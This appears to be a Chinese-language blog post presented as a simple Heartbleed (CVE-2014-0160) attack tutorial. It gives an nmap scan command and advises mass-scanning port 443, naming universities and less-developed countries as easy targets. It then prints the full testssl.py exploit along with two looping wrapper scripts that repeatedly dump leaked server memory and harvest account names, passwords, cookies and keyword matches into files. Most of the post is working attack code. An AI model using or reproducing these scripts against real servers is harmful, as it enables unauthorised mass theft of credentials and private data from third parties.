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OpenSSL Heartbleed “心脏滴血”漏洞简单攻击示例
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把，也让另一些人惊慌了一把。
单纯从攻击的角度讲，我已知道的，网上公开的扫描工具有：
1. Nmap脚本ssl-heartbleed.nse： http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
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nmap -sV --script=ssl-heartbleed <target>
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若想要批量寻找攻击目标，可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。
得到活跃主机IP地址，再导入上述扫描器。
针对特定的某个攻击目标，可以查看已经读到的内容，利用正则表达式不停拉抓账号密码。
也可以根据关键词，不停抓下cookie，账号等。
testssl.py源码：
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# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%s' % (pdat.replace('......', ''),)
print
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print 'Unexpected EOF receiving record header - server closed connection'
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return None, None, None
print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if typ == 24:
print 'Received heartbeat response:'
hexdump(pay)
if len(pay) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if typ == 21:
print 'Received alert:'
hexdump(pay)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args[0], opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(hello)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print 'Server closed connection without sending Server Hello.'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main() |
将testssl.py的代码修改为不输出偏移地址和非ascii字符，找到hexdump函数，修改为：
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def hexdump(s):
pdat = ''
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print '%s' % (pdat.replace('......', ''),)
print
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这样就只输出有用的ascii字符串了。
1. 正则表达式抓账号
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import os
import re
import time
accounts = []
while True:
result = os.popen('openssl.py ').read()
matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result)
for match in matches:
if match not in accounts:
accounts.append(match)
with open('accounts.txt', 'a') as inFile:
inFile.write(str(match) + '\n')
print 'New Account:', match
time.sleep(1.0)
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脚本间隔一秒钟读一次数据，发现正则匹配的账号密码，若之前没出现过，就写入accounts.txt文件。
这样可以避免重复写入同样的账号、密码。
2. 根据关键词抓数据
如果并不确定后台地址，也不知道登录请求、Cookie的格式，直接用关键词抓账号就行了。
类似下面的代码：
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import os
import re
import time
accounts = []
while True:
result = os.popen('openssl.py ').read()
keywords = ['system', 'password', 'passwd', 'admin']
for word in keywords:
if result.find(word) > 0:
print 'new data', time.asctime()
with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
f.write(result)
break
time.sleep(1.0)
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这样一旦返回的数据中存在关键词passwd、password等，就会把数据写入data_1文件夹下面，以时间命名。
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